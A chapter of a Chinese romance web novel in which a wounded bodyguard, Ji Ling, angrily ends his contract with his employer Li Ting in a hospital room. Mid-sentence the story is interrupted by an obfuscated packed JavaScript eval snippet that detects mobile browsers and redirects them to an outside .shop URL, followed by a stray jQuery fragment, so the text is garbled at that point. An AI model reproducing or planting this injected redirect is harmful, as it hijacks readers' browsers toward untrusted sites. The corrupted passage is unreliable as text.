那句压不住火的粗口落下，病房里瞬间安静。
黎廷进门前，值班护士刚替纪灵换过药。院方知道他要来，医生和陪护人员就暂时退离了病房，连守在外间的保镖也回避了。
黎廷站在门边，镜片后的目光停在床边那人脸上。纪灵刚才吼得太急，左后背的伤口被呼吸反复牵扯，病号服下的固定带勒着胸腔，每喘一口气都带出一阵细密的疼。他撑着床沿，脸色比先前更白，攥住薄被的手背都绷得起了青筋。
黎廷本能地想要靠近，右脚才向前挪了半步，便在纪灵冷冽的目光里克制着停住。他终究没有再动，只将垂在身侧的手缓慢收紧，仍然站在原来的位置。
不辩解，也没否认。
纪灵盯着他看了片刻，心里的火非但没有熄，反而被这份沉默烧得更旺。
他原本以为黎廷至少会给他一句解释。哪怕像以往一样，只把最紧要的结果摆出来，剩下的什么都不说，也好过此刻这样站在门口，任由他一个人把所有难堪摊开。
可仔细想来，还有什么可解释的……这个人明明早就懂。
那晚在湖畔别墅，黎廷亲口说过，知道他介意的不是警察。既然懂，就该明白他真正抗拒的是什么。为了一个更大的目标被动接受牺牲，等所有事尘埃落定，再告诉他，这已经是能保全最多人的最好结果。
那种无力的绝望，他宁愿黎廷从来没有懂过。
过去半年里那些曾让他觉得舒服的分寸，在这一刻忽然都失去了意义。
黎廷给过他的信任、权限与照顾，那些没有追问的秘密，那间可以随意进出的书房，以及扶持保护的无间亲密，全都像是事先量过的价码。
也许在黎廷眼里，自己确实值得信任，也值得花很多钱。可一旦棋盘上有了更重要的东西，他依旧是可以被推出去的那一个。
想到这里，纪灵觉得没意思透了。
“行吧。”
他松开被角，向后靠进枕头里。出口的声音不再像方才那样激烈，甚至透出几分解脱。
“我也受够了。”
黎廷的眼神微微一凝。
纪灵没理会，垂眼算了算时间。半年合同，从签字那天开始，到现在剩下还不到一个月。这个期限当初看着不长不短，如今倒像是特意替两个人留好的收尾。
“合同也快到期了，时间卡得刚刚好。” 他扯了下嘴角。
黎廷仍然没有出声。
“对了，还没恭喜黎董。”
纪灵抬起眼，语气有点不遮掩的嘲讽。
“董事会全票通过，顺利接任晨星集团董事长。你想要的都拿到了，我这条命也还在，换个角度看，这怎能不算是一种双赢呢？”
“秦天。”
黎廷终于喊了他一声。纪灵唇边的笑顿时冷了下来：“急什么，我还没说完。”
黎廷不再开口。
“剩下这点时间，我会把该交接的东西交接清楚。合同结束以后，桥归桥，路归路。你当你的集团董事长，我换份不用天天出生入死的工作，咱们谁也别耽误谁。”
纪灵顿了一下，像是认真想过那个画面，随后点了点头。
“就这么散了，挺好。”
话说出口，胸口像是骤然空了一块。他也没有深究那点异样，只当是伤后体力不济。反正工作总会结束，人也总会分开。他本来从一开始也没打算在黎廷身边待一辈子。
只是这半年发生的事太多了。
从那张写着五万月薪的名片，到湖畔别墅里逐渐习惯的灯光，从一次次突如其来的危险，到某个人在混乱里永远冷静的判断。他几乎已经习惯在出门前先确认黎廷的位置，习惯在任何人靠近时先看对方的手，也习惯回头便能在不远处找到那道沉默的身影。
习惯算不了什么，戒掉就是了。
他的私人物品本来就不多。湖畔别墅里那点衣服和日用品，半天就能收拾干净。工作装备全部留下，门禁权限交回去，手机里那些二十四小时待命的联络渠道也可以一并删除。等合同上的最后一天过去，这半年逐渐熟悉的一切，都会重新变成与他无关的东西。
没什么难的，他连更狼狈的日子都熬过，没道理会舍不得一份工作。
纪灵将视线移开，望向窗外漆黑的夜色：“续约的事不用谈了，我不会签。”
这句话比先前所有责问都更轻，就像一道垂直落下的判决。
黎廷站在门边，许久没有动。
他当然记得合同上的日期。那份合同由他亲自决定，六个月期限也是他点过头的数字。可在这之前，他从未认真想过最后一天会是什么样子。
两人在日复一日的相处中变得理所当然。连同这个人会在他出门时跟上来，会懒散地靠在车边等他，会夜里端着汤推开书房的门，也像是不会改变的事。
他更是没想过再也看不见这道身影的情景。
直到纪灵当着他的面说出这句话。那份一直被他忽略的期限，才第一次有了终点的轮廓。
他今晚原本只是想亲眼确认纪灵的情况。只要人还肯发火，肯骂他，哪怕一句话都不让他说，也比这几天隔着徐惟听见那些若无其事的玩笑要好。
他没有准备辩解。
没有任何理由能改变纪灵被绑走、被逼到拉开信标，最后满身是血站在警察面前的事实。更何况每一句对他的质问都没有错。
黎廷能做的，只是先将所有会继续逼近纪灵的人挡在外面，等他的伤养好，再承担这件事留下的后果。
他看了一眼纪灵苍白的脸，最终压下了留在这里的念头。
“你先好好休息。”
黎廷转身，准备离开，身后却传来纪灵冷冷的声音。
“等等。”
黎廷停下脚步。
“我刚才说合同到期，是给彼此留点体面。”纪灵看向他的背影，胸口那股火依旧没有散，“但我现在改主意了。”
黎廷的手还搭在门把上。
“我巴不得现在就结束。”
房门没有被拉开。纪灵一字一顿地说：“立即结束。”
门把上的手指骤然收紧。
来这里以前，黎廷想过纪灵会拒绝见他，也想过这个人一旦压不住脾气，或许会直接动手。无论是哪一种，他都准备接着。唯独没有想过，纪灵会即刻把他从今后的生活里一并划除。
此时只是隔着几步的距离，听见纪灵说要结束，他竟然无法再将那扇门拉开。
纪灵此刻已经铁了心不想干了。受够了自己的边界被一步步试探，受够了每当生活刚平静一点，就不得不回头看那些早已埋进记忆里的东西。
钱确实很多，黎廷给他的也远不止钱，可再多都不值得他继续这样提心吊胆。
“违约金也好，赔偿也好，让徐助算清楚。”纪灵继续说着，“该退多少从我的工伤赔偿里扣。装备、门禁、车和你给我的其他东西，我一样不少地还回去。从今天开始，我不再是你的保镖。”
黎廷仍旧背对着他。那道背影看不出任何情绪，纪灵却看见他握住门把的指节一点点泛白。过了很久，黎廷松开手，缓慢转过身。
“要怎样，你才不会生气。”
声音很轻，也很平静。纪灵没有回答，他只是看着黎廷，一股无名火腾地又窜了上来，比刚才被沉默对待时烧得更凶。
黎廷也望着他。镜片后的眼睛不再像平时那样让人看不出深浅，里面压着连日未眠的疲惫，还有一种纪灵从未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929341|213579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在他身上见过的复杂情愫。
“要怎样，才可以原谅我。”
停顿片刻，他又问：
“才可以不离开。”
最后几个字落得很慢。
光是前两句已经足够让纪灵恼火。
要怎样才能不生气？难道让他列出几条条件，黎廷再像处理公事一样逐项做到，发生的一切就能一笔勾销？他最恨的就是自己的命被放进别人的预设里称量，如今连原谅都像是要由他亲手标出一个价码。
可第三句落下来，所有可以顺势砸回去的恶言又在舌根处堵了一下。
不离开……
他问的不是怎样让一个保镖继续履职，而是怎样才能留住他这个人。
最可气的是，纪灵知道这人一旦答应了什么，多半真的会做到。正因如此，他反而一个条件都不想给。仿佛只要说出答案，自己便会再一次把决定权交回黎廷手里，等着这个人替他安排一个所谓的周全。
他宁愿黎廷像往常一样把一张支票放到他面前，或者冷静地告诉他违约需要承担什么后果。那样他至少可以把所有东西都算回钱里，算清楚，结完账，然后干干净净地走。
现在偏偏用这种语气问他，好像他们之间真有什么不能用合同结束的东西。
纪灵胸口起伏得越来越重。伤口被牵扯，呼吸间那点钝痛却远不如心里涌上的烦躁鲜明。他想骂人，想让黎廷闭嘴，又说不清自己为什么会被这三句话逼得比刚才更加狼狈。眼里浮起一层细微的水光，被病房昏暗的灯映得很亮。纪灵用力咬住后槽牙，硬是没有移开视线。
黎廷看着那双发红的眼睛，心脏猛地收紧，他下意识向前迈了一步。
“站住！”
纪灵喝住他，黎廷果然停了下来。
两人隔着几步距离对视。纪灵急促地喘息着，等左后背那阵撕扯般的疼缓过去，才撑住床沿重新坐稳。
“你没来之前，我已经决定了。”他的嗓音有些发哑，态度却没有半分松动，
“既然你今晚来了，那就当面把话说清楚。”
床边那杯水已经放凉，纪灵伸手端起来，仰头灌了两口。吞咽的动作牵动胸腔，他停了一下，手指忽然收紧，猛地将杯子砸向床尾的地面。
玻璃碎裂的脆响瞬间划破病房。水溅过地面，碎片一直滑到了黎廷脚边。
“你要是不肯现在解约，也行。”纪灵盯着他，“合同到期，自然终止，我绝不续约。”
他抬手抹去唇边的水迹，眼神又冷又狠。
“剩下不到一个月，我现在起就休假到底。你最好明天就让徐助把手续拿来，别再找人给我传话，也别再派谁守在门外，等医生允许离院，我自己走。”
黎廷垂眼看了一瞬脚边的碎玻璃。再抬起头时，他闭了下眼，像是终于做出了某个决定。然后他迈开步子，朝病床走去。
鞋底碾过一小块碎片，发出极轻的声响。
纪灵没想到自己把话说到这个地步，他还敢靠近。压了整晚的怒意顷刻冲上头顶，他撑住床沿站起来，右手已经攥成了拳。
“我说了站住。”
黎廷没有停。他走得并不快，双手始终垂在身侧。可纪灵看着那张沉静的脸，火气只烧得更厉害。
“或者你是想换个结束方式？”
纪灵攥紧的拳头隐隐发颤，分不清是伤后脱力，还是忍耐已经到了极限。他盯着越来越近的人，声音从齿间挤出来。
“我不介意揍你一顿，让这段雇佣关系立即终止。”
黎廷终于在他面前停下，只是低下眼，安静地看着纪灵。那种近乎纵容的沉默彻底挑断了绷紧的最后一根弦。
纪灵眼神一厉，攥紧的右拳骤然抬起。